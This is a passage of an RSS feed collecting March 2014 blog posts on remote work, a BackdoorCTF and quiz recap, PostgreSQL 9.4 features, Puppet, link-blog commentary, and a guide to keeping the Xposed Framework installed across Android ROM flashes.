                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/ads-sponsors-and-legitimacy"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 25 Mar 2014 10:30:16 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/ads-sponsors-and-legitimacy</guid></item><item><title>Falling into Place</title><link>https://josh.works/remote_work/2014/03/25/falling-into-place/</link><description>&lt;p&gt;I recently started a job with 
&lt;a href="www.litmus.com"&gt;Litmus&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A key component of this job search for me was that it be 100% remote.&lt;/p&gt;

&lt;p&gt;At my last job, I worked remote regularly, at least one day a week, but the rest of the week, I was in the office.&lt;/p&gt;

&lt;p&gt;Remote work is becoming established around the world, but not without some hiccups. In a recent notable hiccup, the CEO of Yahoo &lt;a href="http://money.cnn.com/2013/02/25/technology/yahoo-work-from-home/"&gt;ended their remote work policy.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href="http://automattic.com/"&gt;team&lt;/a&gt; behind Wordpress (you know, one of the most trafficked site on the internet) works remotely. Matt Mullenweg &lt;a href="http://ma.tt/2012/09/future-of-work/"&gt;writes&lt;/a&gt; about remote work not just being a “perk”, like any other company perk, but gives employees an opportunity they could not otherwise have:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;We give people the perk and the luxury of being part of an internet-changing company from anywhere in the world.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id="why-work-remotely"&gt;Why Work Remotely?&lt;/h2&gt;

&lt;p&gt;When working remote a certain percentage of my time (as I did at Razoo) there were two distinct perks to the arrangements.&lt;/p&gt;

&lt;h3 id="zero-commuting-time"&gt;Zero commuting time&lt;/h3&gt;

&lt;p&gt;It takes me an hour, door-to-door, to get to and from work.&lt;/p&gt;

&lt;p&gt;That’s two hours of my day, and 12% of my non-sleeping (conscious) hours. Every day I worked from home, it’s like I got an extra two hours just handed to me. Since I count commuting time as work time, even though my job doesn’t, that brings my percentage of billable hours per day from 80% to 100%.&lt;/p&gt;

&lt;p&gt;In other words, not having to commute is an instant pay-raise of 20%, and its tax-free.&lt;/p&gt;

&lt;p&gt;Admittedly, I think about these things in a strange way. But why shouldn’t you count commuting time as part of your work day? You’re not doing it for fun, that’s for sure.&lt;/p&gt;

&lt;h3 id="much-more-effective-work-time"&gt;Much more effective work time&lt;/h3&gt;

&lt;p&gt;Remote work gets a bad rap because of distractions. Sure, you could watch a movie in your bunny slippers and unbrushed teeth, but if that’s how you engage with your work, being in an office won’t help.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/jasonfried"&gt;Jason Fried&lt;/a&gt; contends that “&lt;a href="http://www.ted.com/talks/jason_fried_why_work_doesn_t_happen_at_work"&gt;work doesn’t happen at work&lt;/a&gt;”, because of the factors surrounding them at the office. The “distractions” that managers fear will bog you down at home are actually unavoidable and pervasive only in the office.&lt;/p&gt;

&lt;p&gt;In short, when I work from home, and had control over distractions, I can dig into projects and move them forward.&lt;/p&gt;

&lt;p&gt;When I’m constantly interrupted, I struggle to get meaningful work done. I get plenty of busywork done, but nothing substantive.&lt;/p&gt;

&lt;h3 id="luxuries-a-business-cannot-provide"&gt;Luxuries A Business Cannot Provide&lt;/h3&gt;

&lt;p&gt;Here’s why I’m most excited about remote work. I can live almost anywhere in the planet without impacting my job. There are only two constraints: Internet access, and time zone. Since it’s 2014, all of America is wired up with broadband. Same with (to the best of my knowledge) many other urban areas around the world. So - internet access is easy.&lt;/p&gt;

&lt;p&gt;Second - time zones. America spans only three, and that’s plenty for healthy overlap with your co-workers shifts. So, with remote work, you can easily live anywhere in the USA. Add a time zone, and you can live any where in the Americas. Whoa.&lt;/p&gt;

&lt;p&gt;These are luxuries businesses cannot provide at an office, or with extra pay.&lt;/p&gt;

&lt;p&gt;And, for at least some people, these are the kinds of opportunities that make an employee want to stick around.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 25 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/remote_work/2014/03/25/falling-into-place/</guid></item><item><title>BackdoorCTF and Quizzes</title><link>https://captnemo.in/blog/2014/03/25/backdoor-and-quizzes/</link><description>&lt;p&gt;I recently hosted a Geek Quiz at my college along with &lt;a href="https://www.facebook.com/giridaran"&gt;Giri&lt;/a&gt;. The quiz
was mostly geek with some sports and pop-cult trivia. Here are the slides for
the quiz (both prelims and finals):&lt;/p&gt;

&lt;h3 id="geek-quiz-prelims"&gt;Geek Quiz Prelims&lt;/h3&gt;


&lt;h3 id="geek-quiz-finals"&gt;Geek Quiz Finals&lt;/h3&gt;


&lt;p&gt;Some audio/video files for the finals are up &lt;a href="http://ge.tt/8O1nGbN1/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="backdoorctf-2014"&gt;BackdoorCTF 2014&lt;/h2&gt;

&lt;p&gt;Last year, I was the coordinator for Backdoor CTF 2013, a jeopardy-style CTF
contest hosted by &lt;a href="http://fb.me/SDSLabs"&gt;SDSLabs&lt;/a&gt; under the aegis of Cognizance. This year,
I contributed 3 problems to the CTF. The problems were as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href="https://backdoor-web200.herokuapp.com/"&gt;web200&lt;/a&gt; - Timing Attack (&lt;a href="https://github.com/backdoor-ctf/web200"&gt;Source&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://backdoor-web250.herokuapp.com/"&gt;web250&lt;/a&gt; - YAML Code Execution (&lt;a href="https://github.com/backdoor-ctf/web250"&gt;Source&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://backdoor-web100.herokuapp.com/"&gt;web100&lt;/a&gt; - _ Template Code Execution (&lt;a href="https://github.com/backdoor-ctf/web100"&gt;Source&lt;/a&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can find writeups/solutions to the problems all over the internet and on &lt;a href="https://ctftime.org/event/141/tasks/"&gt;ctftime&lt;/a&gt;.
Hosting a CTF is always a humbling experience and it was great to see teams from
all over the world participating in backdoor. We hope to return next year with
even better challenges.&lt;/p&gt;

&lt;h2 id="cogni-geek-quiz"&gt;Cogni Geek Quiz&lt;/h2&gt;
&lt;p&gt;After that I teamed up with Giri again (along with Sukun) for the Cogni Geek Quiz,
hosted by the winner of my quiz, &lt;a href="https://www.facebook.com/TheDudeWhoKnocks"&gt;Vikram Rathore&lt;/a&gt;. While we won the quiz
by a large margin (30 points), I managed to get my own tribute question wrong unfortunately.&lt;/p&gt;

&lt;p&gt;However, it was a great experience involving some really nice questions. &lt;em&gt;Update&lt;/em&gt;: The slides
are up at &lt;a href="https://mega.co.nz/#F!nso0VaiK!IUBob8dqOM0UAD_Eti6DfA"&gt;mega&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="colors--typefaces"&gt;Colors &amp;amp; Typefaces&lt;/h2&gt;

&lt;div class="colophon"&gt;
    &lt;div class="color" style="border-top: 20px solid #cbe86b;"&gt;#cbe86b&lt;/div&gt;
    &lt;div class="color" style="border-top: 20px solid #1c140d;"&gt;#1c140d&lt;/div&gt;
    &lt;div class="typeface"&gt;&lt;b&gt;Typeface&lt;/b&gt;Oswald&lt;/div&gt;
    &lt;div class="typeface"&gt;&lt;b&gt;Typeface&lt;/b&gt;Lato&lt;/div&gt;
  &lt;div class="clear"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;div class="colophon"&gt;
    &lt;div class="color" style="border-top: 20px solid #2e2633;"&gt;#2e2633&lt;/div&gt;
    &lt;div class="color" style="border-top: 20px solid #99173c;"&gt;#99173c&lt;/div&gt;
    &lt;div class="typeface"&gt;&lt;b&gt;Typeface&lt;/b&gt;Oswald&lt;/div&gt;
    &lt;div class="typeface"&gt;&lt;b&gt;Typeface&lt;/b&gt;Lato&lt;/div&gt;
  &lt;div class="clear"&gt;&lt;/div&gt;
&lt;/div&gt;</description><author>Nemo's Home</author><pubDate>Tue, 25 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/03/25/backdoor-and-quizzes/</guid></item><item><title>PostgreSQL 9.4 - Looking up (with JSONB and logical decoding)</title><link>/2014/03/24/PostgreSQL-9.4-Looking-up-with-JSONB-and-logical-decoding/</link><description>&lt;p&gt;Just a few weeks back I wrote a article discussing many of the things that were likely to miss making the &lt;a href="http://www.craigkerstiens.com/2014/02/15/PostgreSQL-9.4-What-I-Wanted/"&gt;9.4 PostgreSQL release&lt;/a&gt;. Since that post a few weeks ago the landscape has already changed, and much more for the positive.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The lesson here, is never count Postgres out&lt;/em&gt;. As &lt;a href="www.linuxinsider.com/story/Bruce-Momjian-PostrgreSQL-Prefers-the-Scenic-Route-80045.html"&gt;Bruce discussed in a recent interview&lt;/a&gt;, Postgres is slow and steady, but much like the turtle can win the race.&lt;/p&gt;
&lt;p&gt;So onto the actual features:&lt;/p&gt;
&lt;h3 id="jsonb"&gt;
&lt;div&gt;
JSONB
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;JSON has existed for a while in Postgres. Though the JSON that exists today simply validates that your text is valid JSON, then goes on to store it in a text field. This is fine, but not overly performant. If you do need some flexibility of your schema and performance without much effort then hstore may already work for you today, you can of course read more on this in an old post comparing &lt;a href="http://www.craigkerstiens.com/2013/07/03/hstore-vs-json/"&gt;hstore to json&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But let&amp;rsquo;s assume you do want JSON and a full document store, which is perfectly reasonable. Your option today is still best with the JSON datatype. And if you&amp;rsquo;re retrieving full documents this is fine, however if you&amp;rsquo;re searching/filtering on values within those documents then you need to take advantage of some functional indexing. You can do this some of the &lt;a href="http://www.postgresql.org/docs/9.3/static/functions-json.html"&gt;built-in operators&lt;/a&gt; or with full &lt;a href="https://postgres.heroku.com/blog/past/2013/6/5/javascript_in_your_postgres/"&gt;JS in Postgres&lt;/a&gt;. This is a little more work, but also very possible to get good performance.&lt;/p&gt;
&lt;p&gt;Finally, onto the perfect world, where JSON isn&amp;rsquo;t just text in your database. For some time there&amp;rsquo;s been a discussion around hstore and its future progress and of course the future of JSON in Postgres. These two worlds have finally heavily converged for PostgreSQL 9.4 giving you &lt;a href="http://www.postgresql.org/message-id/E1WRpmB-0002et-MT@gemulon.postgresql.org"&gt;the best of both worlds&lt;/a&gt;. With what was known as hstore2, by &lt;a href="http://obartunov.livejournal.com/177247.html"&gt;The Russians&lt;/a&gt; under the covers, and collective efforts on JSONB (Binary representation of JSON) which included all the JSON interfaces you&amp;rsquo;d expect. We now have full document storage and awesome performance with little effort.&lt;/p&gt;
&lt;p&gt;Digging in a little further, why does it matter that its a binary representation? Well under the covers building on the hstore functionality brings along some of the awesome index types in Postgres. Namely GIN and possibly in the future GIST. These indexes will automatically index all keys and values within a document, meaning you don&amp;rsquo;t have to manually create individual functional indexes. Oh and they&amp;rsquo;re &lt;a href="http://thebuild.com/presentations/pg-as-nosql-pgday-fosdem-2013.pdf"&gt;fast and often small&lt;/a&gt; on disk as well.&lt;/p&gt;
&lt;h3 id="logical-decoding"&gt;
&lt;div&gt;
Logical Decoding
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Logical replication was another feature that I talked about that was likely missing. Here there isn&amp;rsquo;t the same positive news as JSONB, as there&amp;rsquo;s not a 100% usable feature available. Yet there is a big silver lining in it. &lt;a href="http://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=b89e151054a05f0f6d356ca52e3b725dd0505e53"&gt;Committed just over a week ago&lt;/a&gt; was logical decoding. This means that we can decode the WAL (Write-Ahead-Log) into logical changes. In layman&amp;rsquo;s terms this means something thats unreadable to anything but Postgres (and version dependent in cases) can be intrepretted to a series of &lt;code&gt;INSERT&lt;/code&gt;s, &lt;code&gt;UPDATE&lt;/code&gt;s, &lt;code&gt;DELETE&lt;/code&gt;s, etc. With logical commands you could then start to get closer to cross version upgrades and eventually multi-master.&lt;/p&gt;
&lt;p&gt;With this commit it doesn&amp;rsquo;t mean all the pieces are there in the core of Postgres today. What it does mean is the part thats required of the Postgres core is done. The rest of this, which includes sending the logical replication stream somewhere, and then having something apply it can be developed fully as an extension.&lt;/p&gt;
&lt;h3 id="in-conclusion"&gt;
&lt;div&gt;
In Conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Postgres 9.4 isn&amp;rsquo;t 100% complete yet, as the commitfest is still going on. You can follow along on the &lt;a href="www.postgresql.org/list/pgsql-hackers/2014-03/"&gt;postgres hackers mailing list&lt;/a&gt; or on the &lt;a href="https://commitfest.postgresql.org/"&gt;commitfest app&lt;/a&gt; where you can follow specific patches or even chip in on reviewing. And of course I&amp;rsquo;ll do my best to continue to highlight useful features here and surface them on &lt;a href="http://www.postgresweekly.com"&gt;Postgres Weekly&lt;/a&gt; as well.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Mon, 24 Mar 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/03/24/PostgreSQL-9.4-Looking-up-with-JSONB-and-logical-decoding/</guid></item><item><title>Introducing Puppet Exec['again']</title><link>https://purpleidea.com/blog/2014/03/24/introducing-puppet-execagain/</link><description>&lt;p&gt;Puppet is missing a number of much-needed features. That&amp;rsquo;s the bad news. The good news is that I&amp;rsquo;ve been able to write some of these as modules that don&amp;rsquo;t need to change the Puppet core! This is an article about one of these features.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;Posit&lt;/span&gt;:&lt;/strong&gt; It&amp;rsquo;s not possible to apply all of your Puppet manifests in a single run.&lt;/p&gt;
&lt;p&gt;I believe that this holds true for the current implementation of Puppet. Most manifests can, do and &lt;em&gt;should&lt;/em&gt; apply completely in a single run. If your Puppet run takes more than one run to converge, then chances are that you&amp;rsquo;re doing something wrong.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 24 Mar 2014 20:37:23 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/03/24/introducing-puppet-execagain/</guid></item><item><title>How to be a sane programmer</title><link>https://nicolaiarocci.com/how-to-be-a-sane-programmer/</link><description>&lt;blockquote&gt;
&lt;p&gt;But here’s the rub. Programming, like writing, painting, and music, is chiefly a creative endeavor not a technical one. Practice with any technology or language is useful as a means of learning tools and techniques, but it will not make you a substantially better programmer.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.nicholascloud.com/2014/03/how-to-be-a-sane-programmer/"&gt;How to be a sane programmer&lt;/a&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 24 Mar 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/how-to-be-a-sane-programmer/</guid></item><item><title>Here's Some Better Life Advice Than Richard Branson's</title><link>http://www.motherjones.com/kevin-drum/2014/03/heres-some-better-life-advice-richard-bransons</link><description>&lt;p&gt;Earlier, &lt;a href="https://zacs.site/blog/the-passion-trap.html"&gt;I linked to&lt;/a&gt; an article &lt;a href="http://thetypist.com/425/trap-passion/"&gt;from The Typist&lt;/a&gt; where he expressed dissatisfaction with the majority of &amp;#8220;follow your passion&amp;#8221; articles, and then went on to recommend some truly great advice with regards to that trite mantra from &lt;a href="http://blog.ketyov.com/2014/03/the-passion-trap.html"&gt;Bradley Voytek&lt;/a&gt;: &amp;#8220;don&amp;#8217;t follow your passions, follow your competencies, and you might just find you enjoy doing something you&amp;#8217;re good at.&amp;#8221; When linking to The Typist and, by extension, Bradley&amp;#8217;s articles, I conveyed a similar level of disapproval for this genre of writing. Turns out, the three of us are not alone: Kevin Drum, writing for Mother Jones, is just about fed up with wealthy individuals pontificating to those less fortunate than them, advising them to pursue unsustainable lifestyles just to chase a dream at the expense of every other aspect of their lives; I absolutely agree with him: I would much rather spend a summer hiking the Appalachian Trail, but I have to work so that during the school year, I have money for gas and car insurance and food and the iPhone I love so dearly; I would much rather spend a day writing than going to class, but there, too, I have no choice in the matter. It&amp;#8217;s easy to romanticize the past and talk about how you would have done it given the chance to do it all over again, but you you didn&amp;#8217;t do it that way the first time around, and you have no idea how your life would have turned out if you had. Aspirations are fine, but not at the expense of your well-being.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.motherjones.com/kevin-drum/2014/03/heres-some-better-life-advice-richard-bransons"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Mar 2014 20:37:37 GMT</pubDate><guid isPermaLink="true">http://www.motherjones.com/kevin-drum/2014/03/heres-some-better-life-advice-richard-bransons</guid></item><item><title>We're All Going To Die Someday</title><link>http://vintagezen.com/zen/2014/3/18/were-all-going-to-die-someday</link><description>&lt;p&gt;Great one-two punch from &lt;a href="http://crateofpenguins.com/blog/your-complaint-is-invalid"&gt;Sid O&amp;#8217;Neill&lt;/a&gt; and &lt;a href="http://vintagezen.com/zen/2014/3/18/were-all-going-to-die-someday"&gt;Linus Edwards&lt;/a&gt; dealing with significance and its corollary, futility. I often find myself stuck between these two warring factions, fighting with another side of me that questions whether I should spend my time watching TV instead of writing, or writing instead of staying an extra hour in the gym, or working out instead of working more, or working more instead of spending more time with my family and friends, or if I should spend more time with my family than my friends&amp;#160;&amp;#8212;&amp;#160;the list goes on and on, forever, but has to stop somewhere; it&amp;#8217;s that stopping point that informs our value system, and thus, ultimately, the person we become.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/3/18/were-all-going-to-die-someday"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Mar 2014 20:18:25 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/3/18/were-all-going-to-die-someday</guid></item><item><title>The Passion Trap</title><link>http://thetypist.com/425/trap-passion/</link><description>&lt;p&gt;Like The Typist, I rarely read articles on passion&amp;#160;&amp;#8212;&amp;#160;the ones that prescribe that everyone follow their dreams to the detriment of every other aspect of their lives; not only are such pieces irresponsible, but impractical as well. Bradley Voytek&amp;#8217;s article, however, which The Typist links to and relegates to such a category, really ought to belong to a category all its own&amp;#160;&amp;#8212;&amp;#160;it&amp;#8217;s just that good, and features neither of the disadvantageous aspects many other articles of this genre do. A great read, and something young people in particular ought to read. Going through many of the things Bradley describes myself, his article hit home especially hard for me.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://thetypist.com/425/trap-passion/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Mar 2014 15:34:01 GMT</pubDate><guid isPermaLink="true">http://thetypist.com/425/trap-passion/</guid></item><item><title>An alternative way of handling Nagios and Naemon alerts</title><link>https://smetj.net/an-aleternative-way-of-handling-nagios-and-naemon-alerts.html</link><description>&lt;p&gt;Nagios based monitoring frameworks organize alerting  by associating contacts
to host and service objects.  This is not a very flexible approach and quickly
starts to become a pain to maintain. &lt;a class="reference external" href="https://github.com/smetj/alertmachine"&gt;Alertmachine&lt;/a&gt; is a framework using easy
to understand and flexible alert rules to process alert events outside the
Nagios based …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Sun, 23 Mar 2014 13:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/an-aleternative-way-of-handling-nagios-and-naemon-alerts.html</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-31614.html</link><description>&lt;p&gt;When I published &lt;a href="https://zacs.site/blog/this-week-in-podcasts-3214.html"&gt;this article&amp;#8217;s predecessor&lt;/a&gt;, I should have debuted this series as a collection of the podcasts I listened to within the past week rather than those released during that time period. This slight difference in phrase would have been especially appropriate given my eight-day absence last week, during which I could not listen to a single episode of any show. Now that I have returned, with a week&amp;#8217;s worth of episodes now outside of my stated time frame, I have painted myself into a corner of sorts. Or I would have, but for the fact that I can make that necessary change now: from here on out, these &amp;#8220;This Week in Podcasts&amp;#8221; posts will include episodes I have listened to since publishing the last installment rather than only those less than a week old. In addition to broadening the scope of these posts, this will also give me the ability to&amp;#160;&amp;#8212;&amp;#160;in good conscience&amp;#160;&amp;#8212;&amp;#160;talk about retired shows and episodes long past their prime. On top of that, I can now talk about all the shows I missed while in the Bahamas.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-31614.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 23 Mar 2014 12:32:18 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-31614.html</guid></item><item><title>[3.22.14] Electric Scooter MK1: TUNDRA UPGRADE</title><link>https://transistor-man.com/electricscooter_tundraupgrades.html</link><description>Build log of newly upgraded ice-scooter</description><author>transistor-man.com</author><pubDate>Sun, 23 Mar 2014 10:38:38 GMT</pubDate><guid isPermaLink="true">https://transistor-man.com/electricscooter_tundraupgrades.html</guid></item><item><title>Preserving the Xposed Framework through a ROM flash</title><link>https://cmetcalfe.ca/blog/preserving-xposed-framework-through-a-flash.html</link><description>&lt;p&gt;The &lt;a href="https://repo.xposed.info/"&gt;Xposed Framework&lt;/a&gt; is a neat Android program that enables &lt;a href="https://repo.xposed.info/module-overview"&gt;user-made
modules&lt;/a&gt; to change the behaviour of the lower-level Android OS. It does this
by modifying &lt;code&gt;/system/bin/app_process&lt;/code&gt; to add some hooks into it.&lt;/p&gt;
&lt;p&gt;The issue is that when flashing a new ROM, the modified &lt;code&gt;app_process&lt;/code&gt; is
reverted back to the original version, disabling the Xposed Framework until it's
restored.&lt;/p&gt;
&lt;div class="admonition update"&gt;
&lt;p class="admonition-title"&gt;Update&lt;/p&gt;
&lt;p&gt;The Xposed Framework installer now includes the option to flash a zip file
to install the framework instead of patching &lt;code&gt;app_process&lt;/code&gt; directly. The
method detailed in this post will still work, but the new way to make sure
the framework is installed after flashing a new ROM is to simply flash the
Xposed installer zip right after flashing the ROM.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The solution to this is a script that will automatically back up the existing
&lt;code&gt;app_process&lt;/code&gt; before a flash, then restore it after the flash completes.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://cmetcalfe.ca/files/90-xposed.sh"&gt;90-xposed.sh&lt;/a&gt; script does exactly that. To enable it, download it to the
Android device, move it to &lt;code&gt;/system/addon.d/90-xposed.sh&lt;/code&gt;, and give it
executable permissions.&lt;/p&gt;
&lt;p&gt;This can be done on the device with a few different programs, but it's much
easier to do from a computer with &lt;a href="https://developer.android.com/tools/help/adb.html"&gt;adb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Download the script and push it to the SD card of the Android device with&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;adb&lt;span class="w"&gt; &lt;/span&gt;push&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;90&lt;/span&gt;-xposed.sh&lt;span class="w"&gt; &lt;/span&gt;/sdcard/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Once the file is on the device, log into it (using &lt;code&gt;adb shell&lt;/code&gt;) and run the
following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Get root permissions&lt;/span&gt;
cp&lt;span class="w"&gt; &lt;/span&gt;/sdcard/90-xposed.sh&lt;span class="w"&gt; &lt;/span&gt;/system/addon.d/&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Copy the file to the correct folder&lt;/span&gt;
chmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;755&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/system/addon.d/90-xposed.sh&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Make the file executable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After logging out of the device, the Xposed framework will stay installed and
active even after flashing a new ROM. Note that this should only really be
used in situations where the ROM isn't changing too much (like flashing a new
nightly ROM).&lt;/p&gt;
&lt;p&gt;In situations where &lt;code&gt;app_process&lt;/code&gt; would actually be changed by the flash, this
script could cause issues as it would restore an incorrect version of the file.
If this happens, delete &lt;code&gt;app_process&lt;/code&gt; and &lt;code&gt;app_process.orig&lt;/code&gt; in the
&lt;code&gt;/system/bin/&lt;/code&gt; directory, then reflash. The script won't interfere, allowing
the flash to update &lt;code&gt;app_process&lt;/code&gt; to the correct version. After rebooting,
install the Xposed Framework again.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Sun, 23 Mar 2014 04:04:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/preserving-xposed-framework-through-a-flash.html</guid></item><item><title>Invaluable</title><link>http://www.asymco.com/2014/03/18/invaluable/</link><description>&lt;p&gt;A bit of a forgone conclusion at this point, but still worthwhile to have someone so skilled as Horace Dediu put the phone market into perspective, especially with regards to that upstart Apple. Come for the insight, but stay for his conclusion; that is, indeed, a mystery, and one that Apple has obviously solved.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.asymco.com/2014/03/18/invaluable/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Mar 2014 12:45:36 GMT</pubDate><guid isPermaLink="true">http://www.asymco.com/2014/03/18/invaluable/</guid></item><item><title>The American grocery bill</title><link>http://thetypist.com/41/the-american-grocery-bill/</link><description>&lt;p&gt;Fascinating look at the percentage of household income various countries spend on groceries each year. Surprisingly, that number has steadily decreased over the past thirty years. In response to Businessweek&amp;#8217;s chart, on display at the beginning of The Typist&amp;#8217;s article, The Atlantic wrote &lt;a href="http://www.theatlantic.com/business/archive/2013/03/cheap-eats-how-america-spends-money-on-food/273811/"&gt;a great, in-depth piece&lt;/a&gt; taking the discussion a few steps farther. Even if you only have a passing interest in this subject, I encourage you to check these articles out; great stuff.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://thetypist.com/41/the-american-grocery-bill/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Mar 2014 12:25:22 GMT</pubDate><guid isPermaLink="true">http://thetypist.com/41/the-american-grocery-bill/</guid></item><item><title>Apple Designer Jonathan Ive Talks About Steve Jobs and New Products</title><link>http://time.com/jonathan-ive-apple-interview/</link><description>&lt;p&gt;Fantastic interview by John Arlidge of Time Magazine with Apple&amp;#8217;s famed designer Jony Ive. I will do neither the disservice of taking a pull-quote from this piece, for you really should read it in its entirety rather than in pieces, but I will say this: the key takeaway, I felt, is the remarkable humanity of this entire process: from inception to creation to ultimate release, at no point in the life of these devices does anyone measure their viability, utility, or success by something so mundane as technical specifications. Rather, it all comes down to the human element&amp;#160;&amp;#8212;&amp;#160;the experience, to use a rather clich&amp;#233;d turn of phrase, for in the end, when all is said and done, what else is left but the device in your hand?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://time.com/jonathan-ive-apple-interview/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 22 Mar 2014 12:14:41 GMT</pubDate><guid isPermaLink="true">http://time.com/jonathan-ive-apple-interview/</guid></item><item><title>Why use NuGet</title><link>https://daniellittle.dev/why-use-nuget</link><description>I've had a few people ask me why they should use NuGet and the occasional person that's never heard of it. If you are currently developing…</description><author>Daniel Little Dev</author><pubDate>Sat, 22 Mar 2014 05:04:31 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/why-use-nuget</guid></item><item><title>Preserving your working directory in gnome-terminal</title><link>https://purpleidea.com/blog/2014/03/20/preserving-your-working-directory-in-gnome-terminal/</link><description>&lt;p&gt;I use gnome-terminal for most of my hacking. In fact, I use it so much, that I&amp;rsquo;ll often have multiple tabs open for a particular project. Here&amp;rsquo;s my workflow:&lt;/p&gt;
&lt;ol&gt;
	&lt;li&gt;&lt;em&gt;Control+Alt+t&lt;/em&gt; (My shortcut to open a new gnome-terminal window.)&lt;/li&gt;
	&lt;li&gt;&lt;code&gt;cd ~/code/some_cool_hack/ # directory of some cool hack&lt;/code&gt;&lt;/li&gt;
	&lt;li&gt;&lt;em&gt;Control-Shift-t&lt;/em&gt; (Shortcut to open a new gnome-terminal tab.)&lt;/li&gt;
	&lt;li&gt;Hack, hack, hack...&lt;/li&gt;
&lt;/ol&gt;
